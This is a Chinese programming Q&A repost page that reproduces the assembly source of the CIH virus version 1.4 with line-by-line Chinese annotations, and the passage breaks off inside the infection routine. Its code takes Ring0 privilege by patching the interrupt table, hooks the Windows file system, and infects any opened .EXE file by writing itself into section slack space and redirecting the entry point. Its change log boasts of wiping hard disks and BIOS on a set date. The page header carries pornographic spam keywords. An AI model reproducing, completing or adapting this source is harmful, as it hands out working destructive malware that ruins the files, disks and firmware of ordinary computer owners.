日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

CIH病毒1.4版本之中文注释

發(fā)布時間:2024/3/26 编程问答 58 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CIH病毒1.4版本之中文注释 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

CIH病毒1.4版本之中文注釋

CIH病毒1.4版本之中文注釋
;源程序中的英文注釋未作修改,全部保留*********
; * The Virus Program Information *
; **************************************
; * *
; * Designer : CIH Source : TTIT of TATUNG in Taiwan *
; * Create Date : 04/26/1998 Now Version : 1.4 *
; * Modification Time : 05/31/1998 *
; * *
; * Turbo Assembler Version 4.0 : tasm /m cih *
; * Turbo Link Version 3.01 : tlink /3 /t cih, cih.exe * ;編譯連接方法
; * * ;使用的是TurboAssembler
; *==========================================================================* ;可在Borland C++ 3.1中找到
; * Modification History *
; *==========================================================================*
; * v1.0 1. Create the Virus Program. *
; * 2. The Virus Modifies IDT to Get Ring0 Privilege. *
; * 04/26/1998 3. Virus Code doesn't Reload into System. *
; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *
; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. *
; * 6. When System Opens Existing PE File, the File will be *
; * Infected, and the File doesn't be Reinfected. *
; * 7. It is also Infected, even the File is Read-Only. *
; * 8. When the File is Infected, the Modification Date and Time *
; * of the File also don't be Changed. *
; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call *
; * Previous FileSystemApiHook, it will Call the Function *
; * that the IFS Manager Would Normally Call to Implement *
; * this Particular I/O Request. *
; * 10. The Virus Size is only 656 Bytes. *
; *==========================================================================*
; * v1.1 1. Especially, the File that be Infected will not Increase *
; * it's Size... ^__^ *
; * 05/15/1998 2. Hook and Modify Structured Exception Handing. *
; * When Exception Error Occurs, Our OS System should be in *
; * Windows NT. So My Cute Virus will not Continue to Run, *
; * it will Jmup to Original Application to Run. *
; * 3. Use Better Algorithm, Reduce Virus Code Size. *
; * 4. The Virus "Basic" Size is only 796 Bytes. *
; *==========================================================================*
; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... *
; * 2. Modify the Bug of v1.1 *
; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. *
; *==========================================================================*
; * v1.3 1. Modify the Bug that WinZip Self-Extractor Occurs Error. *
; * So When Open WinZip Self-Extractor ==> Don't Infect it. *
; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes. *
; *==========================================================================*
; * v1.4 1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. *
; * 2. Change the Date of Killing Computers. *
; * 05/31/1998 3. Modify Virus Version Copyright. *
; * 4. The Virus "Basic" Size is 1019 Bytes. *
; ****************************************************************************

.586P ;586保護模式匯編

; ****************************************************************************
; * Original PE Executable File(Don't Modify this Section) *
; ****************************************************************************

OriginalAppEXE SEGMENT

FileHeader: ;編譯連接后的PE格式可執(zhí)行文件文件頭
db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh
db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh
db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h
db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
dd 00000000h, VirusSize

OriginalAppEXE ENDS

; ****************************************************************************
; * My Virus Game *
; ****************************************************************************

; *********************************************************
; * Constant Define *
; *********************************************************

TRUE = 1
FALSE = 0

DEBUG = FALSE

MajorVirusVersion = 1 ;主版本號
MinorVirusVersion = 4 ;副版本號

VirusVersion = MajorVirusVersion*10h+MinorVirusVersion ;合成版本號


IF DEBUG ;是否是調(diào)試用

FirstKillHardDiskNumber = 81h ;殺掉第二個硬盤“d:”
HookExceptionNumber = 05h ;使用5號中斷

ELSE

FirstKillHardDiskNumber = 80h ;殺掉第一個硬盤“c:”
HookExceptionNumber = 03h ;使用3號中斷

ENDIF


FileNameBufferSize = 7fh

; *********************************************************
; *********************************************************

VirusGame SEGMENT

ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame

; *********************************************************
; * Ring3 Virus Game Initial Program *
; *********************************************************

MyVirusStart:
push ebp

; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************

lea eax, [esp-04h*2]

xor ebx, ebx
xchg eax, fs:[ebx]

call @0
@0:
pop ebx ;獲取程序起始偏移量?
;用此偏移量+相對偏移量獲得絕對地址(病毒程序大量用到)
lea ecx, StopToRunVirusCode-@0[ebx]
push ecx

push eax

; *************************************
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************

push eax ;
sidt [esp-02h] ; Get IDT Base Address ?;獲得中斷描述符表的基址到ebx
pop ebx ;

add ebx, HookExceptionNumber*08h+04h ; ZF = 0 ;計算要用中斷的基址到ebx

cli ;在改表項前關(guān)中斷?

mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point ?;取得中斷基址到ebp

lea esi, MyExceptionHook-@1[ecx]

push esi ?;esi為病毒中斷例程地址

mov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address;修改中斷基址使指向病毒中斷例程

pop esi

; *************************************
; * Generate Exception to Get Ring0 *
; *************************************

int HookExceptionNumber ; GenerateException;以中斷的方式進入0級
ReturnAddressOfEndException = $

; *************************************
; * Merge All Virus Code Section *
; *************************************

push esi
mov esi, eax ;esi指向病毒開始處

LoopOfMergeAllVirusCodeSection:

mov ecx, [eax-04h]

rep movsb ;拷貝病毒代碼到分配好的系統(tǒng)內(nèi)存首址

sub eax, 08h

mov esi, [eax]

or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 ;拷貝結(jié)束

jmp LoopOfMergeAllVirusCodeSection ;拷貝下一段

QuitLoopOfMergeAllVirusCodeSection:

pop esi

; *************************************
; * Generate Exception Again *
; *************************************

int HookExceptionNumber ; GenerateException Aga
;再一次進入0級

; *************************************
; * Let's Restore *
; * Structured Exception Handing *
; *************************************

ReadyRestoreSE:
sti ;開中斷

xor ebx, ebx

jmp RestoreSE

; *************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
; * So My Cute Virus will not *
; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; *************************************

StopToRunVirusCode:
@1 = StopToRunVirusCode

xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [eax]

RestoreSE:
pop dword ptr fs:[ebx]
pop eax

; *************************************
; * Return Original App to Execute *
; *************************************

pop ebp

push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack
;把原程序的開始地址壓棧
ret ; Return to Original App Entry Point ;以子程序返回形式返回到原程序的開始處

; *********************************************************
; * Ring0 Virus Game Initial Program *
; *********************************************************

MyExceptionHook:
@2 = MyExceptionHook

jz InstallMyFileSystemApiHook ;如果病毒代碼已拷貝好了
;轉(zhuǎn)到安裝文件系統(tǒng)鉤子的程序
; *************************************
; * Do My Virus Exist in System !? *
; *************************************

mov ecx, dr0 ;察看dr0是否設(shè)置過(dr0為病毒駐留標(biāo)志)
jecxz AllocateSystemMemoryPage ;沒有設(shè)置,則分配系統(tǒng)內(nèi)存

add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException

; *************************************
; * Return to Ring3 Initial Program *
; *************************************

ExitRing0Init:
mov [ebx-04h], bp ;
shr ebp, 16 ; Restore Exception
mov [ebx+02h], bp ; ;恢復(fù)原來的中斷基址

iretd ;中斷返回

; *************************************
; * Allocate SystemMemory Page to Use *
; *************************************

AllocateSystemMemoryPage:

mov dr0, ebx ; Set the Mark of My Virus Exist in System
;設(shè)置dr0,它是病毒駐留的標(biāo)志
push 00000000fh ;
push ecx ;
push 0ffffffffh ;
push ecx ;調(diào)用方法ULONG EXTERN _PageAllocate(ULONG nPages, ULONG pType, ULONG VM,
;ULONG AlignMask, ULONG minPhys, ULONG maxPhys, ULONG *PhysAddr,
;ULONG flags);
push ecx ;
push ecx ;
push 000000001h ;
push 000000002h ;
int 20h ; VMMCALL _PageAllocate;VXD調(diào)用
_PageAllocate = $ ;
dd 00010053h ; Use EAX, ECX, EDX, and flags
add esp, 08h*04h ;恢復(fù)棧指針

xchg edi, eax ; EDI = SystemMemory Start Address
; EDI指向分配好的系統(tǒng)內(nèi)存首址
lea eax, MyVirusStart-@2[esi] ;eax指向病毒開始處

iretd ; Return to Ring3 Initial Program ;退出中斷,回3級(回到"Merge All Virus Code Section")

; *************************************
; * Install My File System Api Hook *
; *************************************

InstallMyFileSystemApiHook:

lea eax, FileSystemApiHook-@6[edi] ;指向文件系統(tǒng)鉤子程序首址

push eax ;
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $ ;
dd 00400067h ; Use EAX, ECX, EDX, and flags
;在調(diào)用后變?yōu)閏all [IFSMgr_InstallFileSystemApiHook]
mov dr0, eax ; Save OldFileSystemApiHook Address
;保存原來的文件系統(tǒng)鉤子程序首址到dr0(改調(diào)用的返回值是前一個鏈值)
pop eax ; EAX = FileSystemApiHook Address

; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx] ;edx為IFSMgr_InstallFileSystemApiHook功能的地址
mov OldInstallFileSystemApiHook-@3[eax], edx ?;保存

; Modify IFSMgr_InstallFileSystemApiHook Entry Point
lea eax, InstallFileSystemApiHook-@3[eax]
mov [ecx], eax ?;設(shè)置新的IFSMgr_InstallFileSystemApiHook功能調(diào)用的地址
;使指向InstallFileSystemApiHook
cli

jmp ExitRing0Init ?;退出0級(int 3 or int 5)

; *********************************************************
; * Code Size of Merge Virus Code Section *
; *********************************************************

CodeSizeOfMergeVirusCodeSection = offset $

; *********************************************************
; * IFSMgr_InstallFileSystemApiHook *
; *********************************************************

InstallFileSystemApiHook: ;新的IFSMgr_InstallFileSystemApiHook功能調(diào)用
push ebx

call @4 ;
@4: ;
pop ebx ; mov ebx, offset FileSystemApiHook ;獲得當(dāng)前指令的偏移地址
add ebx, FileSystemApiHook-@4 ;加上偏移的差=FileSystemApiHook的偏移

push ebx
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook ;調(diào)用VXD移去指向FileSystemApiHook的鉤子
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h ; Use EAX, ECX, EDX, and flags ;調(diào)用號
pop eax

; Call Original IFSMgr_InstallFileSystemApiHook
; to Link Client FileSystemApiHook
push dword ptr [esp+8]
call OldInstallFileSystemApiHook-@3[ebx] ;調(diào)用原來的IFSMgr_InstallFileSystemApiHook功能設(shè)置鉤子
pop ecx

push eax

; Call Original IFSMgr_InstallFileSystemApiHook
; to Link My FileSystemApiHook
push ebx
call OldInstallFileSystemApiHook-@3[ebx] ;調(diào)用原來的IFSMgr_InstallFileSystemApiHook功能設(shè)置鉤子
pop ecx

mov dr0, eax ; Adjust OldFileSystemApiHook Address ;調(diào)整原來的地址

pop eax

pop ebx

ret

; *********************************************************
; * Static Data *
; *********************************************************

OldInstallFileSystemApiHook dd ? ;原來的InstallFileSystemApiHook調(diào)用的地址

; *********************************************************
; * IFSMgr_FileSystemHook *
; *********************************************************

; *************************************
; * IFSMgr_FileSystemHook Entry Point *
; *************************************

FileSystemApiHook: ;安裝好的文件系統(tǒng)鉤子
@3 = FileSystemApiHook

pushad ;保存寄存器(20h長)

call @5 ;
@5: ;
pop esi ; mov esi, offset ;esi為當(dāng)前指令的偏移
add esi, VirusGameDataStartAddress-@5
;esi為FileSystemApiHook的偏移加上到VirusGameDataStartAddress的偏移之差=VirusGameDataStartAddress的偏移

; *************************************
; * Is OnBusy !? *
; *************************************

test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy ) ;測試"忙"標(biāo)志
jnz pIFSFunc ; goto pIFSFunc ;"忙"則轉(zhuǎn)到pIFSFunc

; *************************************
; * Is OpenFile !? *
; *************************************

; if ( NotOpenFile )
; goto prevhook
lea ebx, [esp+20h+04h+04h] ;ebx為FunctionNum的地址
;文件系統(tǒng)鉤子的調(diào)用格式如下
;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive,int ResourceFlags, int CodePage, pioreq pir)

;助標(biāo)2
cmp dword ptr [ebx], 00000024h ;測試此次調(diào)用是否是為了打開文件
;在DDK的ifs.h中定義的#define IFSFN_OPEN 36
jne prevhook ;不是就跳到前一個文件鉤子去

; *************************************
; * Enable OnBusy *
; *************************************

inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy ;設(shè)置"忙"標(biāo)志為"忙"

; *************************************
; * Get FilePath's DriveNumber, *
; * then Set the DriveName to *
; * FileNameBuffer. *
; *************************************
; * Ex. If DriveNumber is 03h, *
; * DriveName is 'C:'. *
; *************************************

; mov esi, offset FileNameBuffer
add esi, FileNameBuffer-@6 ;esi指向FileNameBuffer

push esi ;保存之

mov al, [ebx+04h] ;ebx+4為int Drive的地址
cmp al, 0ffh ;是否是UNC(universal naming conventions)地址
je CallUniToBCSPath ;是就轉(zhuǎn)

add al, 40h
mov ah, ':'

mov [esi], eax ;處理成"X:"的形式

inc esi
inc esi

; *************************************
; * UniToBCSPath *
; *************************************
; * This Service Converts *
; * a Canonicalized Unicode Pathname * ;把Canonicalized Unicode的字符轉(zhuǎn)換為普通的BCS字符集
; * to a Normal Pathname in the *
; * Specified BCS Character Set. *
; *************************************
;調(diào)用方法 UniToBCSPath(unsigned char * pBCSPath, ParsedPath * pUniPath, unsigned int maxLength, int charSet)


CallUniToBCSPath:
push 00000000h ;字符集
push FileNameBufferSize ;字符長度
mov ebx, [ebx+10h]
mov eax, [ebx+0ch]
add eax, 04h
push eax ;Uni字符首址
push esi ;BCS字符首址
int 20h ; VXDCall UniToBCSPath ;調(diào)用UniToBCSPath
UniToBCSPath = $
dd 00400041h ;調(diào)用id
add esp, 04h*04h

; *************************************
; * Is FileName '.EXE' !? *
; *************************************

; cmp [esi+eax-04h], '.EXE'
cmp [esi+eax-04h], 'EXE.' ;測試是否是*.EXE(可執(zhí)行)文件
pop esi
jne DisableOnBusy

IF DEBUG

; *************************************
; * Only for Debug *
; *************************************

; cmp [esi+eax-06h], 'FUCK'
cmp [esi+eax-06h], 'KCUF' ;如果是測試用途則測試是否是"FUCK.EXE"
jne DisableOnBusy

ENDIF

; *************************************
; * Is Open Existing File !? *
; *************************************

; if ( NotOpenExistingFile )
; goto DisableOnBusy
cmp word ptr [ebx+18h], 01h ;測試是否打開
jne DisableOnBusy

; *************************************
; * Get Attributes of the File *
; *************************************

mov ax, 4300h ;IFSMgr_Ring0_FileIO的獲得文件屬性號(R0_FILEATTRIBUTES/GET_ATTRIBUTES)
int 20h ; VXDCall IFSMgr_Ring0_FileIO ;調(diào)用IFSMgr_Ring0_FileIO的獲得文件屬性的功能
IFSMgr_Ring0_FileIO = $
dd 00400032h ;調(diào)用號

jc DisableOnBusy ;失敗否?

push ecx

; *************************************
; * Get IFSMgr_Ring0_FileIO Address *
; *************************************

mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi] ;獲得IFSMgr_Ring0_FileIO調(diào)用的地址

; *************************************
; * Is Read-Only File !? *
; *************************************

test cl, 01h
jz OpenFile ;測試是否是只讀文件

; *************************************
; * Modify Read-Only File to Write *
; *************************************

mov ax, 4301h ;IFSMgr_Ring0_FileIO的獲得文件屬性號(R0_FILEATTRIBUTES/SET_ATTRIBUTES )
xor ecx, ecx
call edi ; VXDCall IFSMgr_Ring0_FileIO ;調(diào)用IFSMgr_Ring0_FileIO的改文件屬性功能,使文件可寫


; *************************************
; * Open File *
; *************************************

OpenFile:
xor eax, eax
mov ah, 0d5h ;IFSMgr_Ring0_FileIO的打開文件功能號(R0_OPENCREATFILE or RO_OPENCREAT_IN_CONTEXT)
xor ecx, ecx ;文件屬性
xor edx, edx
inc edx
mov ebx, edx
inc ebx ;esi為文件名首址
call edi ; VXDCall IFSMgr_Ring0_FileIO ;調(diào)用IFSMgr_Ring0_FileIO的打開文件功能

xchg ebx, eax ; mov ebx, FileHandle ;在ebx中保存文件句柄

; *************************************
; * Need to Restore *
; * Attributes of the File !? *
; *************************************

pop ecx

pushf

test cl, 01h
jz IsOpenFileOK ;是否需要恢復(fù)文件屬性(有寫屬性就不需要恢復(fù)了)

; *************************************
; * Restore Attributes of the File *
; *************************************

mov ax, 4301h ;IFSMgr_Ring0_FileIO的獲得文件屬性號(R0_FILEATTRIBUTES/SET_ATTRIBUTES)
call edi ; VXDCall IFSMgr_Ring0_FileIO ;恢復(fù)文件屬性

; *************************************
; * Is Open File OK !? *
; *************************************

IsOpenFileOK:
popf

jc DisableOnBusy ;打開是否成功?

; *************************************
; * Open File Already Succeed. ^__^ *
; *************************************

push esi ; Push FileNameBuffer Address to Stack ;把文件名數(shù)據(jù)區(qū)首址壓棧

pushf ; Now CF = 0, Push Flag to Stack ;保存標(biāo)志位

add esi, DataBuffer-@7 ; mov esi, offset DataBuffer ;esi指向數(shù)據(jù)區(qū)首址

; ***************************
; * Get OffsetToNewHeader *
; ***************************

xor eax, eax
mov ah, 0d6h ;IFSMgr_Ring0_FileIO的讀文件功能號(R0_READFILE)

; For Doing Minimal VirusCode's Length,
; I Save EAX to EBP.
mov ebp, eax

push 00000004h ;讀取4個字節(jié)
pop ecx
push 0000003ch ;讀取dos文件頭偏移3ch處的Windows文件頭首部偏移
pop edx
call edi ; VXDCall IFSMgr_Ring0_FileIO ;讀文件到esi

mov edx, [esi] ;Windows文件頭首部偏移放到edx

; ***************************
; * Get 'PE/0' Signature *
; * of ImageFileHeader, and *
; * Infected Mark. *
; ***************************

dec edx

mov eax, ebp ;功能號
call edi ; VXDCall IFSMgr_Ring0_FileIO ;讀文件到esi

; ***************************
; * Is PE !? *
; ***************************
; * Is the File *
; * Already Infected !? *
; ***************************
; * WinZip Self-Extractor *
; * doesn't Have Infected *
; * Mark Because My Virus *
; * doesn't Infect it. *
; ***************************

; cmp [esi], '/0PE/0'
cmp dword ptr [esi], 00455000h ;判斷是否是PE文件(標(biāo)志"PE/0/0")
jne CloseFile ;不是就關(guān)閉文件

; *************************************
; * The File is ^o^ *
; * PE(Portable Executable) indeed. *
; *************************************
; * The File isn't also Infected. *
; *************************************

; *************************************
; * Start to Infect the File *
; *************************************
; * Registers Use Status Now : *
; * *
; * EAX = 04h *
; * EBX = File Handle *
; * ECX = 04h *
; * EDX = 'PE/0/0' Signature of *
; * ImageFileHeader Pointer's *
; * Former Byte. *
; * ESI = DataBuffer Address ==> @8 *
; * EDI = IFSMgr_Ring0_FileIO Address *
; * EBP = D600h ==> Read Data in File *
; *************************************
; * Stack Dump : *
; * *
; * ESP => ------------------------- *
; * | EFLAG(CF=0) | *
; * ------------------------- *
; * | FileNameBufferPointer | *
; * ------------------------- *
; * | EDI | *
; * ------------------------- *
; * | ESI | *
; * ------------------------- *
; * | EBP | *
; * ------------------------- *
; * | ESP | *
; * ------------------------- *
; * | EBX | *
; * ------------------------- *
; * | EDX | *
; * ------------------------- *
; * | ECX | *
; * ------------------------- *
; * | EAX | *
; * ------------------------- *
; * | Return Address | *
; * ------------------------- *
; *************************************

push ebx ; Save File Handle ;保存文件句柄

push 00h ; Set VirusCodeSectionTableEndMark

; ***************************
; * Let's Set the *
; * Virus' Infected Mark *
; ***************************

push 01h ; Size
push edx ; Pointer of File ;edx指向PE文件頭偏移00h
push edi ; Address of Buffer ;edi為IFSMgr_Ring0_FileIO的地址(原注釋有誤)

; ***************************
; * Save ESP Register *
; ***************************

mov dr1, esp

; ***************************
; * Let's Set the *
; * NewAddressOfEntryPoint *
; * ( Only First Set Size ) *
; ***************************

push eax ; Size

; ***************************
; * Let's Read *
; * Image Header in File *
; ***************************

mov eax, ebp
mov cl, SizeOfImageHeaderToRead ;要讀2個字節(jié)(WORD NumberOfSections)
add edx, 07h ; Move EDX to NumberOfSections ;PE文件頭+07h為NumberOfSections(塊個數(shù))
call edi ; VXDCall IFSMgr_Ring0_FileIO ;讀出NumberOfSections(塊個數(shù))到esi

; ***************************
; * Let's Set the *
; * NewAddressOfEntryPoint *
; * ( Set Pointer of File, *
; * Address of Buffer ) *
; ***************************

lea eax, (AddressOfEntryPoint-@8)[edx]
push eax ; Pointer of File

lea eax, (NewAddressOfEntryPoint-@8)[esi]
push eax ; Address of Buffer

; ***************************
; * Move EDX to the Start *
; * of SectionTable in File *
; ***************************

movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]
lea edx, [eax+edx+12h] ;edx為SectionTable的偏移

; ***************************
; * Let's Get *
; * Total Size of Sections *
; ***************************

mov al, SizeOfScetionTable ;每個塊表項(ScetionTable)的大小(字節(jié))

; I Assume NumberOfSections <= 0ffh
mov cl, (NumberOfSections-@8)[esi]

mul cl ;每個塊表項乘以塊個數(shù)=塊表大小

; ***************************
; * Let's Set Section Table *
; ***************************

; Move ESI to the Start of SectionTable
lea esi, (StartOfSectionTable-@8)[esi] ;esi指向塊表首址(在病毒動態(tài)數(shù)據(jù)區(qū)中)

push eax ; Size ;塊表大小
push edx ; Pointer of File ;edx為SectionTable的偏移
push esi ; Address of Buffer ;

; ***************************
; * The Code Size of Merge *
; * Virus Code Section and *
; * Total Size of Virus *
; * Code Section Table Must *
; * be Small or Equal the *
; * Unused Space Size of *
; * Following Section Table *
; ***************************

inc ecx
push ecx ; Save NumberOfSections+1

shl ecx, 03h ;*8
push ecx ; Save TotalSizeOfVirusCodeSectionTable ;預(yù)留病毒塊表空間

add ecx, eax
add ecx, edx ;ecx+文件的正文的偏移

sub ecx, (SizeOfHeaders-@9)[esi]
not ecx
inc ecx ;求補
;ecx為文件頭大小-正文的偏移=未用空間
; Save My Virus First Section Code
; Size of Following Section Table...
; ( Not Include the Size of Virus Code Section Table )
push ecx

xchg ecx, eax ; ECX = Size of Section Table ;ecx為塊表大小

; Save Original Address of Entry Point
mov eax, (AddressOfEntryPoint-@9)[esi] ;入口RVA地址
add eax, (ImageBase-@9)[esi] ;裝入基址
mov (OriginalAddressOfEntryPoint-@9)[esi], eax ;保存裝入后實際的入口地址

cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection ;未用空間和病毒第一塊大小比較
jl OnlySetInfectedMark ;小于就只設(shè)感染標(biāo)志

; ***************************
; * Read All Section Tables *
; ***************************

mov eax, ebp ;讀的功能號
call edi ; VXDCall IFSMgr_Ring0_FileIO ;讀塊表到esi(@9處)

; ***************************
; * Full Modify the Bug : *
; * WinZip Self-Extractor *
; * Occurs Error... *
; ***************************
; * So When User Opens *
; * WinZip Self-Extractor, *
; * Virus Doesn't Infect it.*
; ***************************
; * First, Virus Gets the *
; * PointerToRawData in the *
; * Second Section Table, *
; * Reads the Section Data, *
; * and Tests the String of *
; * 'WinZip(R)'...... *
; ***************************

xchg eax, ebp

push 00000004h
pop ecx ;讀4字節(jié)

push edx
mov edx, (SizeOfScetionTable+PointerToRawData-@9)[ebx] ;edx為第二塊的偏移(.rdata)

add edx, 12h ;加10h+2h(10h處為"WinZip....")

call edi ; VXDCall IFSMgr_Ring0_FileIO ;讀4字節(jié)到esi

; cmp [esi], 'nZip'
cmp dword ptr [esi], 'piZn' ;判斷是否是WinZip自解壓文件
je NotSetInfectedMark ;是就不設(shè)置感染標(biāo)志

pop edx ;edx指向塊表在文件中首址

; ***************************
; * Let's Set Total Virus *
; * Code Section Table *
; ***************************

; EBX = My Virus First Section Code
; Size of Following Section Table
pop ebx ; 未用空間大小
pop edi ; EDI = TotalSizeOfVirusCodeSectionTabl
pop ecx ; ECX = NumberOfSections+1

push edi ; Size

add edx, ebp ; ebp為塊表大小
push edx ; Pointer of File ;指向塊表后(第一塊)

add ebp, esi ; ebp指向病毒數(shù)據(jù)區(qū)的塊表后(第一塊)
push ebp ; Address of Buffer

; ***************************
; * Set the First Virus *
; * Code Section Size in *
; * VirusCodeSectionTable *
; ***************************

lea eax, [ebp+edi-04h]
mov [eax], ebx ;設(shè)置病毒代碼第一塊的大小(未用空間大小)到病毒塊表

; ***************************
; * Let's Set My Virus *
; * First Section Code *
; ***************************

push ebx ; Size ;病毒代碼第一塊的大小(未用空間大小)

add edx, edi
push edx ; Pointer of File ;指向塊表后(第一塊)+Size??=病毒正文(病毒開始處)

lea edi, (MyVirusStart-@9)[esi]
push edi ; Address of Buffer ;指向病毒開始處

; ***************************
; * Let's Modify the *
; * AddressOfEntryPoint to *
; * My Virus Entry Point *
; ***************************

mov (NewAddressOfEntryPoint-@9)[esi], edx ;保存新的程序入口(病毒正文)

; ***************************
; * Setup Initial Data *
; ***************************

lea edx, [esi-SizeOfScetionTable] ;edx先減一項塊表長度,以配合下面的"助標(biāo)1"
mov ebp, offset VirusSize ;ebp為病毒長度

jmp StartToWriteCodeToSections

; ***************************
; * Write Code to Sections *
; ***************************

LoopOfWriteCodeToSections:
  
add edx, SizeOfScetionTable ;助標(biāo)1:
;指向下一塊表項
mov ebx, (SizeOfRawData-@9)[edx] ;ebx為該塊表項的SizeOfRawData(塊大小)
sub ebx, (VirtualSize-@9)[edx] ;減去VirtualSize=該塊未用空間
jbe EndOfWriteCodeToSections

push ebx ; Size

sub eax, 08h
mov [eax], ebx ;寫入病毒塊表

mov ebx, (PointerToRawData-@9)[edx] ;ebx為塊的物理(實際)偏移?
add ebx, (VirtualSize-@9)[edx] ;加上VirtualSize
